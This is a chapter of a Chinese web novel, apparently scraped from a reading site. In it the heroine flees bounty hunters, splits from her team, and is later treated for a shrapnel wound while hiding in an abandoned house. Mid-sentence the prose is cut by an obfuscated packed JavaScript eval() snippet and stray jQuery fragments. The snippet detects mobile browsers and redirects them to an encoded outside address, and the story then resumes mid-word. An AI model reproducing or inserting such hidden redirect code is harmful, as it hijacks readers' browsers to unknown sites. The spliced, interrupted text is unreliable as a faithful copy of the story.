程浪回到自己的房间,换了一身便于格斗的服装,除此后没有什么必须带的东西。
卧室的整面落地玻璃窗都碎了,冷风呼呼往里直灌。
天色蒙蒙亮,山庄外面的公路上,距离鸿福山庄数公里外,一列车队正迅速朝这里开过来,人数不比Snake少,十有八九也是为了来挣这笔高额赏金。
程浪出了房间,喊道:“大家赶紧的,又有人来了!”
手下们重新在大厅集合,都只拿了点重要物资,其余的能省则省,李昭昭也将仍然完好的手办全部忍痛舍弃了。
孙大成问:“老大,我们去哪里?”
程浪说:“先离开青岩市避避风头,我们分头走,你们三个一起,我带着傅鸣,等安全了再会合。”
三名哨兵互相看了一眼,心里都有点矛盾,想说什么又不大好开口。
按理说,他们是一个团队,应该共同进退,在危险来临时更应该抱作一团。
虽然老K的任务针对的是程浪,但他们三个绝不可能丢下老大自己逃生。程浪这么说是想降低他们的风险,尽量不让他们卷进来。
然而他们跟着程浪或许会令她束手束脚,影响她的战斗力,分头行动似乎更好一些。
因此三个人纠结了一下,还是一起答应了。
李昭昭多加了一句:“姐,你和鸣哥要多保重。”
她知道程浪不会置傅鸣于不顾,但傅鸣没有战斗力,带着他势必就多一分危险。
傅鸣点头:“大家都一样。”
“放心啦,凭你姐我的实力,肯定所向披靡,战无不胜。”程浪语气轻快地笑道,“不过叶医生明天,不对,是今天来作客,恐怕没办法招待他了,你跟他说一声吧,下次有机会再聚。”
李昭昭应了,没像以往那样推三阻四。
五个人奔向别墅的停车场,熊正豪一边跑一边还请教:“老大,你刚才说三十六计,走为上计,那还有什么计?”
程浪百忙之中回答:“还有连环计,反间计,美人计什么的,以后有空跟你们细说。”
孙大成感叹道:“美人计不错,怎么没人对我用这一招呢,上来就打打杀杀的,太粗暴了。”
几个人霎时大笑起来,不像是要逃亡的,倒像是要出游的。
随后三名哨兵上了商务车,傅鸣驾驶新车载着程浪,以最快速度驶离鸿福山庄。
出大门时,在晨光熹微中,程浪最后看了一眼住了大半年的地方。
也许这次离开就再也回不来了,她有点伤感,也有点不舍。
但旧的不去,新的不来,此处不留姐,自有留姐处!
*
一个月后的傍晚,第9州郊区的一栋民宅。
宅子的主人不知道什么原因外出不在家,屋里空无一人,家具上都落着一层灰,至少半年没人住过了。
程浪砸开门锁,和傅鸣一起躲藏在里面。
她受伤了,右肩后面被弹片擦破,流了不少血,只是外套颜色深,看不大出来,只有离得近的傅鸣能清晰地闻到血腥味。
傅鸣说:“你在沙发上休息一下,我找找这家有没有止血疗伤的药物。”
“好。”
程浪顾不得脏,在沙发上坐下来,疲惫地出了一口气,失血令她有些头晕。
这一个月里她带着傅鸣奔逃上万公里,辗转数个大州后来到此地。
追杀他们的人太多了,一波接着一波,根本打不完。无数雇佣兵为了巨额赏金,像鬣狗一样蜂拥而至,穷追不舍。
同时警方也在通缉她,对她围追堵截,这一路走来险象环生,如同在钢丝上行走。
程浪已经很久没有好好休息过,没有踏实地睡过一觉了,就算她实力再如何强大,现在也觉得十分疲累,身体和精神上都是如此,几乎到了极限,只能和傅鸣暂时躲藏在这里稍作休整。
另外三名手下目前都还算安全,比程浪这个头号通缉犯的情况要好一些,不像她被追杀得这样狼狈。
片刻后,傅鸣从柜子里找出一个医药箱,打开来检查一遍,随后道:“大部分都还能用,没过期。”
程浪脱下外套,里面是一件白衬衣,后背上血
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284564|195040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迹斑斑,看上去有些触目惊心。
她扭过头,想给自己上药,但姿势很别扭,不好操作。
“我来吧。”傅鸣顿了顿,“不过你得把上衣脱了。”
这会儿程浪也没力气矫情,脱下衬衣,继而是同样染血的胸衣,侧过身体对着他。
弹片在她背上擦出了一道近十公分的伤口,好在没有伤到骨头。
傅鸣眼前呈现出一具玲珑曼妙的身体,每一处起伏都恰到好处,染上血后愈发美得令人惊心动魄。
此时空气中除了血腥味之外,还混合着程浪原本的气息,她平时刻意收敛,眼下在受伤的情况下不受控制地散发出来,整个客厅都弥漫着一股腥甜诱人的味道。
傅鸣闭了闭眼睛,极力克制自己,然后给自己的双手消毒,拿起纱布擦拭程浪后背的血迹。
咝……程浪吸了口冷气,抱怨道:“你就不能轻点吗?”
她现在状态差,脾气也不好,一个月来颠沛流离,没找任何向导疏导过,精神过载肯定超过了60%。
不知道是痛觉被放大了,还是傅鸣力道用得太大,她感觉自己的皮像是要被他扒下来了。
“对不起。”
傅鸣道了歉,放轻力度,给她的伤口涂上止血剂,再贴上纱布。
程浪重新穿上衣服,她现在很想洗个澡,除去一身的污渍,就怕敌人这个时候又追上来,只能烦躁地忍耐着,等安全一点再说。
“你休息一下,我去看看有什么吃的。”
傅鸣进了厨房,片刻后说:“只找到几颗发芽的土豆,但勉强还能吃,不至于中毒,我先煮一些土豆泥,然后出去再买点别的食物。”
程浪不耐烦道:“有什么就吃什么吧,其他的晚点再说。”
现在她又饿又累,一步也不想再动,让傅鸣一个人出去买东西又不安全,只能凑合着先垫垫肚子了。
“好。”
傅鸣去厨房煮土豆,程浪打开电视,调到联邦新闻频道。
最近到哪里岗哨都查得很严,新闻里说不定能捕捉到一些有用的信息。